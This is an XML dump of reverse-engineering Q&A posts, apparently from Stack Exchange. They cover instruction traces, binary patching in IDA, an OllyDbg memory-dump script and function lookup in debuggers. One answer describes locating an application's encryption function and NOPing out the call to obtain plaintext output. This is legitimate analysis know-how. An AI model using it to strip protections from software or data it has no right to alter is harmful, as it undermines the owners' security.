  <row Id="9163" PostTypeId="1" CreationDate="2015-06-17T14:43:26.987" Score="1" ViewCount="229" Body="&lt;p&gt;I have an instruction trace which is collected form a binary analysis platform and I already convert it to assembly instructions. &#xA;I want to extract all functions and function calls in the file but unlike the IDA pro disassembly it does not include any hint about function start and end.&lt;br&gt;&#xA;So my question is that how can I distinguish each function boundary, entry point and it's instructions.&#xA;here is a small part of my output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7c90e4f2:   sysenter &#xA;7c9102d6:   cmpw   $0x5a4d,(%ecx)   I@0x00000000[0x00005a4d][2](R)  T0  M@0x7c800000[0x00005a4d][2](R)  T0&#xA;7c9102db:   jne    0x000000007c9102fa   J@0x00000000[0x0000001f][4](R)  T0&#xA;7c9102dd:   mov    0x3c(%ecx),%edx  M@0x7c80003c[0x000000f0][4](R)  T0  R@edx[0x7c90e4f4][4](W) T0&#xA;7c9102e0:   cmp    $0x10000000,%edx I@0x00000000[0x10000000][4](R)  T0  R@edx[0x000000f0][4](R) T0&#xA;7c9102e6:   jae    0x000000007c9102fa   J@0x00000000[0x00000014][4](R)  T0&#xA;7c9102e8:   lea    (%edx,%ecx,1),%eax   A@0x7c8000f0[0x00000000][4](R)  T0  R@eax[0x00000000][4](W) T0&#xA;7c9102eb:   mov    %eax,-0x1c(%ebp) R@eax[0x7c8000f0][4](R) T0  M@0x0022f758[0x00000010][4](W)  T0&#xA;7c9102ee:   cmpl   $0x4550,(%eax)   I@0x00000000[0x00004550][4](R)  T0  M@0x7c8000f0[0x00004550][4](R)  T0&#xA;7c9102f4:   jne    0x000000007c928c80   J@0x00000000[0x0001898c][4](R)  T0&#xA;7c9102fa:   orl    $0xffffffff,-0x4(%ebp)   I@0x00000000[0xffffffff][1](R)  T0  M@0x0022f770[0x00000000][4](RW) T0&#xA;7c9102fe:   call   0x000000007c90e8e6   J@0x00000000[0xffffe5e8][4](R)  T0  M@0x0022f748[0x7c9102c5][4](W)  T0&#xA;7c90e8e6:   mov    -0x10(%ebp),%ecx M@0x0022f764[0x0022f834][4](R)  T0  R@ecx[0x7c800000][4](W) T0&#xA;7c90e8e9:   mov    %ecx,%fs:0x0 R@ecx[0x0022f834][4](R) T0  M@0x7ffdf000[0x0022f764][4](W)  T0&#xA;7c90e8f0:   pop    %ecx M@0x0022f748[0x7c910303][4](R)  T0  R@ecx[0x0022f834][4](W) T0&#xA;7c90e8f1:   pop    %edi M@0x0022f74c[0x00000000][4](R)  T0  R@edi[0x00000000][4](W) T0&#xA;7c90e8f2:   pop    %esi M@0x0022f750[0x00000000][4](R)  T0  R@esi[0x00000000][4](W) T0&#xA;7c90e8f3:   pop    %ebx M@0x0022f754[0x00000000][4](R)  T0  R@ebx[0x00000000][4](W) T0&#xA;7c90e8f4:   leave   M@0x0022f774[0x0022f844][4](R)  T0  R@esp[0x0022f758][4](RW)    T0  R@ebp[0x0022f774][4](RW)    T0&#xA;7c90e8f5:   push   %ecx R@ecx[0x7c910303][4](R) T0  M@0x0022f774[0x0022f844][4](W)  T0&#xA;7c90e8f6:   ret     M@0x0022f774[0x7c910303][4](R)  T0&#xA;7c910303:   ret    $0x4 I@0x00000000[0x00000004][2](R)  T0  M@0x0022f778[0x7c91bd1b][4](R)  T0&#xA;7c91bd1b:   mov    %eax,-0x60(%ebp) R@eax[0x7c8000f0][4](R) T0  M@0x0022f7e4[0x7c910440][4](W)  T0&#xA;7c91bd1e:   cmp    %ebx,%eax    R@ebx[0x00000000][4](R) T0  R@eax[0x7c8000f0][4](R) T0&#xA;7c91bd20:   je     0x000000007c9407f4   J@0x00000000[0x00024ad4][4](R)  T0&#xA;7c91bd26:   lea    -0x34(%ebp),%eax A@0x0022f810[0x00000000][4](R)  T0  R@eax[0x7c8000f0][4](W) T0&#xA;7c91bd29:   push   %eax R@eax[0x0022f810][4](R) T0  M@0x0022f77c[0x7c800000][4](W)  T0&#xA;7c91bd2a:   push   $0xe I@0x00000000[0x0000000e][1](R)  T0  M@0x0022f778[0x7c91bd1b][4](W)  T0&#xA;7c91bd2c:   push   $0x1 I@0x00000000[0x00000001][1](R)  T0  M@0x0022f774[0x7c910303][4](W)  T0&#xA;7c91bd2e:   pushl  -0x1c(%ebp)  M@0x0022f828[0x7c800000][4](R)  T0  M@0x0022f770[0xffffffff][4](W)  T0&#xA;7c91bd31:   call   0x000000007c910326   J@0x00000000[0xffff45f5][4](R)  T0  M@0x0022f76c[0x7c910308][4](W)  T0&#xA;7c910326:   mov    %edi,%edi    R@edi[0x00000000][4](R) T0  R@edi[0x00000000][4](W) T0&#xA;7c910328:   push   %ebp R@ebp[0x0022f844][4](R) T0  M@0x0022f768[0x7c90e900][4](W)  T0&#xA;7c910329:   mov    %esp,%ebp    R@esp[0x0022f768][4](R) T0  R@ebp[0x0022f844][4](W) T0&#xA;7c91032b:   push   %ebx R@ebx[0x00000000][4](R) T0  M@0x0022f764[0x0022f834][4](W)  T0&#xA;7c91032c:   mov    0x8(%ebp),%ebx   M@0x0022f770[0x7c800000][4](R)  T0  R@ebx[0x00000000][4](W) T0&#xA;7c91032f:   test   $0x1,%bl I@0x00000000[0x00000001][1](R)  T0  R@bl[0x00000000][1](R)  T0&#xA;7c910332:   jne    0x000000007c9128f9   J@0x00000000[0x000025c7][4](R)  T0&#xA;7c910338:   push   %ebx R@ebx[0x7c800000][4](R) T0  M@0x0022f760[0x0022f828][4](W)  T0&#xA;7c910339:   call   0x000000007c9102b9   J@0x00000000[0xffffff80][4](R)  T0  M@0x0022f75c[0x0022f74c][4](W)  T0&#xA;7c9102b9:   push   $0xc I@0x00000000[0x0000000c][1](R)  T0  M@0x0022f758[0x7c8000f0][4](W)  T0&#xA;7c9102bb:   push   $0x7c910308  I@0x00000000[0x7c910308][4](R)  T0  M@0x0022f754[0x00000000][4](W)  T0&#xA;7c9102c0:   call   0x000000007c90e8ab   J@0x00000000[0xffffe5eb][4](R)  T0  M@0x0022f750[0x00000000][4](W)  T0&#xA;7c90e8ab:   push   $0x7c90e900  I@0x00000000[0x7c90e900][4](R)  T0  M@0x0022f74c[0x00000000][4](W)  T0&#xA;7c90e8b0:   mov    %fs:0x0,%eax M@0x7ffdf000[0x0022f834][4](R)  T0  R@eax[0x0022f810][4](W) T0&#xA;7c90e8b6:   push   %eax R@eax[0x0022f834][4](R) T0  M@0x0022f748[0x7c910303][4](W)  T0&#xA;7c90e8b7:   mov    0x10(%esp),%eax  M@0x0022f758[0x0000000c][4](R)  T0  R@eax[0x0022f834][4](W) T0&#xA;7c90e8bb:   mov    %ebp,0x10(%esp)  R@ebp[0x0022f768][4](R) T0  M@0x0022f758[0x0000000c][4](W)  T0&#xA;7c90e8bf:   lea    0x10(%esp),%ebp  A@0x0022f758[0x00000000][4](R)  T0  R@ebp[0x0022f768][4](W) T0&#xA;7c90e8c3:   sub    %eax,%esp    R@eax[0x0000000c][4](R) T0  R@esp[0x0022f748][4](RW)    T0&#xA;7c90e8c5:   push   %ebx R@ebx[0x7c800000][4](R) T0  M@0x0022f738[0x00000040][4](W)  T0&#xA;7c90e8c6:   push   %esi R@esi[0x00000000][4](R) T0  M@0x0022f734[0x0022f754][4](W)  T0&#xA;7c90e8c7:   push   %edi R@edi[0x00000000][4](R) T0  M@0x0022f730[0x00000008][4](W)  T0&#xA;7c90e8c8:   mov    -0x8(%ebp),%eax  M@0x0022f750[0x7c9102c5][4](R)  T0  R@eax[0x0000000c][4](W) T0&#xA;7c90e8cb:   mov    %esp,-0x18(%ebp) R@esp[0x0022f730][4](R) T0  M@0x0022f740[0x00000000][4](W)  T0&#xA;7c90e8ce:   push   %eax R@eax[0x7c9102c5][4](R) T0  M@0x0022f72c[0x00000018][4](W)  T0&#xA;7c90e8cf:   mov    -0x4(%ebp),%eax  M@0x0022f754[0x7c910308][4](R)  T0  R@eax[0x7c9102c5][4](W) T0&#xA;7c90e8d2:   movl   $0xffffffff,-0x4(%ebp)   I@0x00000000[0xffffffff][4](R)  T0  M@0x0022f754[0x7c910308][4](W)  T0&#xA;7c90e8d9:   mov    %eax,-0x8(%ebp)  R@eax[0x7c910308][4](R) T0  M@0x0022f750[0x7c9102c5][4](W)  T0&#xA;7c90e8dc:   lea    -0x10(%ebp),%eax A@0x0022f748[0x00000000][4](R)  T0  R@eax[0x7c910308][4](W) T0&#xA;7c90e8df:   mov    %eax,%fs:0x0 R@eax[0x0022f748][4](R) T0  M@0x7ffdf000[0x0022f834][4](W)  T0&#xA;7c90e8e5:   ret     M@0x0022f72c[0x7c9102c5][4](R)  T0&#xA;7c9102c5:   xor    %eax,%eax    R@eax[0x0022f748][4](R) T0  R@eax[0x0022f748][4](RW)    T0&#xA;7c9102c7:   mov    0x8(%ebp),%ecx   M@0x0022f760[0x7c800000][4](R)  T0  R@ecx[0x7c910303][4](W) T0&#xA;7c9102ca:   test   %ecx,%ecx    R@ecx[0x7c800000][4](R) T0  R@ecx[0x7c800000][4](R) T0&#xA;7c9102cc:   je     0x000000007c9102fe   J@0x00000000[0x00000032][4](R)  T0&#xA;7c9102ce:   cmp    $0xffffffff,%ecx I@0x00000000[0xffffffff][1](R)  T0  R@ecx[0x7c800000][4](R) T0&#xA;7c9102d1:   je     0x000000007c9102fe   J@0x00000000[0x0000002d][4](R)  T0&#xA;7c9102d3:   and    %eax,-0x4(%ebp)  R@eax[0x00000000][4](R) T0  M@0x0022f754[0xffffffff][4](RW) T0&#xA;7c9102d6:   cmpw   $0x5a4d,(%ecx)   I@0x00000000[0x00005a4d][2](R)  T0  M@0x7c800000[0x00005a4d][2](R)  T0&#xA;7c9102db:   jne    0x000000007c9102fa   J@0x00000000[0x0000001f][4](R)  T0&#xA;7c9102dd:   mov    0x3c(%ecx),%edx  M@0x7c80003c[0x000000f0][4](R)  T0  R@edx[0x000000f0][4](W) T0&#xA;7c9102e0:   cmp    $0x10000000,%edx I@0x00000000[0x10000000][4](R)  T0  R@edx[0x000000f0][4](R) T0&#xA;7c9102e6:   jae    0x000000007c9102fa   J@0x00000000[0x00000014][4](R)  T0&#xA;7c9102e8:   lea    (%edx,%ecx,1),%eax   A@0x7c8000f0[0x00000000][4](R)  T0  R@eax[0x00000000][4](W) T0&#xA;7c9102eb:   mov    %eax,-0x1c(%ebp) R@eax[0x7c8000f0][4](R) T0  M@0x0022f73c[0x00000000][4](W)  T0&#xA;7c9102ee:   cmpl   $0x4550,(%eax)   I@0x00000000[0x00004550][4](R)  T0  M@0x7c8000f0[0x00004550][4](R)  T0&#xA;7c9102f4:   jne    0x000000007c928c80   J@0x00000000[0x0001898c][4](R)  T0&#xA;7c9102fa:   orl    $0xffffffff,-0x4(%ebp)   I@0x00000000[0xffffffff][1](R)  T0  M@0x0022f754[0x00000000][4](RW) T0&#xA;7c9102fe:   call   0x000000007c90e8e6   J@0x00000000[0xffffe5e8][4](R)  T0  M@0x0022f72c[0x7c9102c5][4](W)  T0&#xA;7c90e8e6:   mov    -0x10(%ebp),%ecx M@0x0022f748[0x0022f834][4](R)  T0  R@ecx[0x7c800000][4](W) T0&#xA;7c90e8e9:   mov    %ecx,%fs:0x0 R@ecx[0x0022f834][4](R) T0  M@0x7ffdf000[0x0022f748][4](W)  T0&#xA;7c90e8f0:   pop    %ecx M@0x0022f72c[0x7c910303][4](R)  T0  R@ecx[0x0022f834][4](W) T0&#xA;7c90e8f1:   pop    %edi M@0x0022f730[0x00000000][4](R)  T0  R@edi[0x00000000][4](W) T0&#xA;7c90e8f2:   pop    %esi M@0x0022f734[0x00000000][4](R)  T0  R@esi[0x00000000][4](W) T0&#xA;7c90e8f3:   pop    %ebx M@0x0022f738[0x7c800000][4](R)  T0  R@ebx[0x7c800000][4](W) T0&#xA;7c90e8f4:   leave   M@0x0022f758[0x0022f768][4](R)  T0  R@esp[0x0022f73c][4](RW)    T0  R@ebp[0x0022f758][4](RW)    T0&#xA;7c90e8f5:   push   %ecx R@ecx[0x7c910303][4](R) T0  M@0x0022f758[0x0022f768][4](W)  T0&#xA;7c90e8f6:   ret     M@0x0022f758[0x7c910303][4](R)  T0&#xA;7c910303:   ret    $0x4 I@0x00000000[0x00000004][2](R)  T0  M@0x0022f75c[0x7c91033e][4](R)  T0&#xA;7c91033e:   test   %eax,%eax    R@eax[0x7c8000f0][4](R) T0  R@eax[0x7c8000f0][4](R) T0&#xA;7c910340:   je     0x000000007c912905   J@0x00000000[0x000025c5][4](R)  T0&#xA;7c910346:   mov    0x18(%eax),%cx   M@0x7c800108[0x0000010b][2](R)  T0  R@cx[0x00000303][2](W)  T0&#xA;7c91034a:   cmp    $0x10b,%cx   I@0x00000000[0x0000010b][2](R)  T0  R@cx[0x0000010b][2](R)  T0&#xA;7c91034f:   jne    0x000000007c947db0   J@0x00000000[0x00037a61][4](R)  T0&#xA;7c910355:   push   %eax R@eax[0x7c8000f0][4](R) T0  M@0x0022f760[0x7c800000][4](W)  T0&#xA;7c910356:   pushl  0x14(%ebp)   M@0x0022f77c[0x0022f810][4](R)  T0  M@0x0022f75c[0x7c91033e][4](W)  T0&#xA;7c910359:   pushl  0x10(%ebp)   M@0x0022f778[0x0000000e][4](R)  T0  M@0x0022f758[0x7c910303][4](W)  T0&#xA;7c91035c:   pushl  0xc(%ebp)    M@0x0022f774[0x00000001][4](R)  T0  M@0x0022f754[0xffffffff][4](W)  T0&#xA;7c91035f:   push   %ebx R@ebx[0x7c800000][4](R) T0  M@0x0022f750[0x7c910308][4](W)  T0&#xA;7c910360:   call   0x000000007c91036f   J@0x00000000[0x0000000f][4](R)  T0  M@0x0022f74c[0x7c90e900][4](W)  T0&#xA;7c91036f:   mov    %edi,%edi    R@edi[0x00000000][4](R) T0  R@edi[0x00000000][4](W) T0&#xA;7c910371:   push   %ebp R@ebp[0x0022f768][4](R) T0  M@0x0022f748[0x0022f834][4](W)  T0&#xA;7c910372:   mov    %esp,%ebp    R@esp[0x0022f748][4](R) T0  R@ebp[0x0022f768][4](W) T0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can take a look at full file here: &lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=03672391815896872254&quot; rel=&quot;nofollow&quot;&gt;http://s000.tinyupload.com/index.php?file_id=03672391815896872254&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8671" LastEditorUserId="53" LastEditDate="2017-04-28T12:51:15.300" LastActivityDate="2017-04-28T12:51:15.300" Title="How to distinguish Functions boundaries, entry points and instructions in instruction trace" Tags="|disassembly|binary-analysis|functions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9164" PostTypeId="2" ParentId="9163" CreationDate="2015-06-17T15:02:15.130" Score="1" Body="&lt;p&gt;The address called in each &lt;code&gt;call&lt;/code&gt; is the beginning of a function (the function's entrypoint).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each &lt;code&gt;ret&lt;/code&gt; address is an end address for that function (note that a function may have more than one &lt;code&gt;ret&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, in the snippet below, &lt;code&gt;0x000000007c90e8e6&lt;/code&gt; (or &lt;code&gt;0x7c90e8e6&lt;/code&gt;) is the beginning of a function, and &lt;code&gt;0x7c90e8f6&lt;/code&gt; is the address of the last instruction in that function. (Though again, there could be more than one &lt;code&gt;ret&lt;/code&gt; instruction in that function.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;7c9102fe:   call   0x000000007c90e8e6   J@0x00000000[0xffffe5e8][4](R)  T0  M@0x0022f748[0x7c9102c5][4](W)  T0&#xA;7c90e8e6:   mov    -0x10(%ebp),%ecx M@0x0022f764[0x0022f834][4](R)  T0  R@ecx[0x7c800000][4](W) T0&#xA;7c90e8e9:   mov    %ecx,%fs:0x0 R@ecx[0x0022f834][4](R) T0  M@0x7ffdf000[0x0022f764][4](W)  T0&#xA;7c90e8f0:   pop    %ecx M@0x0022f748[0x7c910303][4](R)  T0  R@ecx[0x0022f834][4](W) T0&#xA;7c90e8f1:   pop    %edi M@0x0022f74c[0x00000000][4](R)  T0  R@edi[0x00000000][4](W) T0&#xA;7c90e8f2:   pop    %esi M@0x0022f750[0x00000000][4](R)  T0  R@esi[0x00000000][4](W) T0&#xA;7c90e8f3:   pop    %ebx M@0x0022f754[0x00000000][4](R)  T0  R@ebx[0x00000000][4](W) T0&#xA;7c90e8f4:   leave   M@0x0022f774[0x0022f844][4](R)  T0  R@esp[0x0022f758][4](RW)    T0  R@ebp[0x0022f774][4](RW)    T0&#xA;7c90e8f5:   push   %ecx R@ecx[0x7c910303][4](R) T0  M@0x0022f774[0x0022f844][4](W)  T0&#xA;7c90e8f6:   ret     M@0x0022f774[0x7c910303][4](R)  T0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-06-17T15:02:15.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9165" PostTypeId="1" CreationDate="2015-06-17T17:30:17.810" Score="3" ViewCount="257" Body="&lt;p&gt;After using IDA analysing a dll file, I replaced a call with another one. That is, replacing &lt;code&gt;CALL xxxx&lt;/code&gt; with &lt;code&gt;CALL ds:yyyy&lt;/code&gt;. (&lt;code&gt;ds:yyyy&lt;/code&gt; has been referenced by other locations already). And I used IDA to patch the binary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem is, when executing the module, &lt;code&gt;ds:yyyy&lt;/code&gt; is not updated based on the module imagebase, and therefore an invalid address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I deal with this kind of situation? Need I patch the reloc section too?&#xA;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2143" LastActivityDate="2015-06-22T08:29:23.200" Title="How to update the injected calls' address after patching binary?" Tags="|ida|pe|patching|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9166" PostTypeId="2" ParentId="8230" CreationDate="2015-06-17T19:20:38.583" Score="1" Body="&lt;p&gt;your thread is lacking more informations , like entrypoint and endpoint of your code , so my script isnt supposed to reach an end.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var v&#xA;var h&#xA;br:&#xA;cmp eip,00192003&#xA;jne label&#xA;mov v,[00192036]&#xA;mov h,[00192028]&#xA;dma h, v, &quot;c:\dump.bin&quot;&#xA;label:&#xA;sti&#xA;run&#xA;jmp br&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12383" LastActivityDate="2015-06-17T19:20:38.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9167" PostTypeId="1" AcceptedAnswerId="9409" CreationDate="2015-06-17T20:21:44.743" Score="2" ViewCount="618" Body="&lt;p&gt;I am currently working on both a plugin and an ida-python script that export fairly big JSON files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed, that both will at times cut off the output files with no error message. Sometimes they will cut off at 8192 Characters and sometimes at roughly 220000 Characters. What is of particular interest to me is the fact that the files are constructed differently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the C++ Plugin I open a filepointer and construct the JSON-Data while cycling through my sample like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;FILE *fp;&#xA;fp = qfopen(&quot;C:\\output.json&quot; ,&quot;w&quot;);&#xA;qfprintf(fp,&quot;{\&quot;filename\&quot;: \&quot;%s\&quot;, \&quot;functions\&quot;:[ &quot;, filename);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the Python Script I construct a (big) dictionary and use &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;fn=GetInputFile()+'.json'&#xA;f=open(fn,'w')&#xA;f.write(json.dumps(jsonfunc))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course I will need my output file intact, but I can't find any help googling. Still I feel like I'm missing something really trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Fixed by using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;qflush(fp) //&amp;lt;-within the workloop&#xA;qfclose(fp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and for the python script respectively:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2167" LastEditorUserId="2167" LastEditDate="2015-06-18T07:20:59.890" LastActivityDate="2015-07-21T09:50:45.957" Title="IDA Plugin/Script Output File Character Limit?" Tags="|ida|idapython|ida-plugin|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9168" PostTypeId="1" AcceptedAnswerId="9171" CreationDate="2015-06-17T22:03:20.707" Score="4" ViewCount="2707" Body="&lt;p&gt;I have a program that reads data from a file, parses/organizes it, and spits it out as an encrypted XML. The application can also take an encrypted XML and spit out the original file. My objective at this point would be to access the clear-text XML (I'm not interested in the clear text original file as it's not XML organized)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have no idea what the encryption is yet although one guy on a forum said it was AES-128 (not sure how he got to that conclusion).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ran PEiD with the KANAL plugin on the application, it doesn't detect any encryption signatures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because I have access to the program and some past some experience with exploiting BO on WinXP with some knowledge of ASM, I figured I could give it a try using a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a nutshell, what are the general steps I should be following to figure this out? In this situation would it be best to start looking for the encryption key itself, or find a way to use the application's encrypt/decrypt functions to my advantage?&lt;/p&gt;&#xA;" OwnerUserId="12806" LastActivityDate="2015-06-18T07:27:14.980" Title="Reversing encryption by analysing executable" Tags="|encryption|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9169" PostTypeId="1" CreationDate="2015-06-18T00:16:57.620" Score="6" ViewCount="7054" Body="&lt;p&gt;By checking the human-readable strings in my target application, I found several interesting function names:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;DataIntegrityError&#xA;GetObjectIdsOfDuplicateLinksErrors&#xA;GetInvalidClusterIdsExists&#xA;Main&#xA;IsCommandLineInvalid&#xA;ShowDebugOnlyOptions&#xA;DoDecrypt&#xA;IStorageLogger&#xA;DoExport&#xA;DoImport&#xA;IsDebugOptionActive&#xA;GetRootPath&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using Immunity Debugger (or any other free debugger, IDA doesn't appear to be compatible with my target application), how can I jump to one of these functions, say &lt;code&gt;DoDecrypt&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can only find commands to jump to an address, so how can I find a function's address from it's name?&lt;/p&gt;&#xA;" OwnerUserId="12806" LastActivityDate="2015-06-18T04:19:28.280" Title="Finding address from function name" Tags="|windows|immunity-debugger|functions|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9170" PostTypeId="2" ParentId="9169" CreationDate="2015-06-18T04:19:28.280" Score="8" Body="&lt;h2&gt;Ollydbg&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;if you want to search references for intermodular functions (calls to dll libraries) , go to : searche for -&gt; All intermodular calls.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if you want to search for all readable labels (including that every human readable function) go to : searche for -&gt; Name in all modules , or current module.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rTlaC.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12383" LastActivityDate="2015-06-18T04:19:28.280" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9171" PostTypeId="2" ParentId="9168" CreationDate="2015-06-18T07:27:14.980" Score="7" Body="&lt;p&gt;There are typically many ways to start, and which one you want to use depends on your experience. Also, what works for one target might fail on another, and vice versa. What i'd start with is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use signsrch to check if the executable has a standard encryption algorithm linked in. Note that this might yield false positives (if the application links openssl, for example, you might find signatures of many algorithms even if only one or two of them get used)&lt;/li&gt;&#xA;&lt;li&gt;Check for strings in the file that relate to encryption, and google for them. Maybe this helps to find which encryption library was used. For example, the string &lt;code&gt;SHA-%d test #%d:&lt;/code&gt; quickly leads to the &lt;code&gt;polarssl&lt;/code&gt; source code.&lt;/li&gt;&#xA;&lt;li&gt;Trace the application while running procmon. You will probably find a sequence of &lt;code&gt;CreateFile&lt;/code&gt;, multiple &lt;code&gt;WriteFile&lt;/code&gt; and a &lt;code&gt;CloseFile&lt;/code&gt; call, when writing the encrypted file, and the same with &lt;code&gt;ReadFile&lt;/code&gt; when reading the encrypted file. In some cases, the parameters of these calls give you a hint already; for example, if the first &lt;code&gt;WriteFile&lt;/code&gt; has a byte count of 32, and every following call 4096, this could be a hint that the first 32 bytes are a 256-bit key.&lt;/li&gt;&#xA;&lt;li&gt;Check the stack when a call to &lt;code&gt;ReadFile&lt;/code&gt; or &lt;code&gt;WriteFile&lt;/code&gt; happens, You can do this by placing a breakpoint there while running the application under a debugger, or (much easier imho) look at the stack for several of the &lt;code&gt;procmon&lt;/code&gt; calls. This gives you a hint of which chain of functions encrypts the file and writes it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Pay attention to the stack differences in the &lt;code&gt;CreateFile&lt;/code&gt;, &lt;code&gt;WriteFile&lt;/code&gt; on the encrypted file, and possibly &lt;code&gt;WriteFile&lt;/code&gt; on something else. These might as well give you hint which is your encryption function. For example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;code&gt;CreateFile&lt;/code&gt; for the encrypted file has the stack &lt;code&gt;ABCDEFGH&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;WriteFile&lt;/code&gt; for the encrypted file has the stack &lt;code&gt;ABCIJKLM&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;WriteFile&lt;/code&gt; for something else has the stack &lt;code&gt;ABNOPKLM&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;where each letter is one stack entry. In this case, i'd assume &lt;code&gt;KLM&lt;/code&gt; to be part of the runtime library (&lt;code&gt;fwrite&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, ....), since unrelated &lt;code&gt;WriteFile&lt;/code&gt;s share it, &lt;code&gt;C&lt;/code&gt; to be the main writer function (as it's the last to call &lt;code&gt;CreateFile&lt;/code&gt; and &lt;code&gt;WriteFile&lt;/code&gt;), and &lt;code&gt;I&lt;/code&gt; and &lt;code&gt;J&lt;/code&gt; the functions that encrypt and write.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Load the file into IDA, or OllyDbg, and have a closer look at &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;I&lt;/code&gt; and &lt;code&gt;J&lt;/code&gt;. Which other functions do they call? Are some of these functions the same ones you identified with signsrch earlier?&lt;/li&gt;&#xA;&lt;li&gt;Run the file under the control of IDA, or OllyDbg, and place breakpoints on &lt;code&gt;C&lt;/code&gt;, &lt;code&gt;I&lt;/code&gt;, &lt;code&gt;J&lt;/code&gt;, and maybe some of the functions you found with signsrch. Check the parameters on entry and exit from these functions. Do some of them ring a bell? Does one of the functions has a parameter that is a pointer to a buffer which looks like XML before the function is called, and garbage after it's called? Or vice versa when reading? Congrats, you've just found the function that does the encryption.&lt;/li&gt;&#xA;&lt;li&gt;When you found the function that does the encryption, instead of figuring out how it works, it &lt;em&gt;might&lt;/em&gt; just be easier to replace the call to it with a series of &lt;code&gt;NOP&lt;/code&gt;s (beware of return codes though, maybe you need to set &lt;code&gt;eax&lt;/code&gt; to something). Bingo, you have a program that writes plain XML instead of encrypted XML now, without ever figuring out the details of the encryption and having to write one single line of code (unless you consider a series of &lt;code&gt;NOP&lt;/code&gt;s code, that is).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-06-18T07:27:14.980" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9172" PostTypeId="2" ParentId="1879" CreationDate="2015-06-18T10:01:30.747" Score="3" Body="&lt;p&gt;Another option you could try is &lt;a href=&quot;https://www.relyze.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Relyze&lt;/a&gt; &lt;em&gt;(Commercial, Standalone Windows desktop application)&lt;/em&gt; which supports binary diffing. It matches functions between two Windows binaries and gives you a list of all equal, modified, removed and added functions, along with a percentage difference value so you can see how heavily modified any two matched functions are.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The GUI displays the matched functions via interactive graphs so you can navigate them and see the changes. The two graphs can be synced as you navigate so clicking on an instruction in one graph will select the matched instruction, if any, in the other graph.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ixEBZ.png&quot; alt=&quot;Binary Diffing with Relyze&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="123" LastActivityDate="2015-06-18T10:01:30.747" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
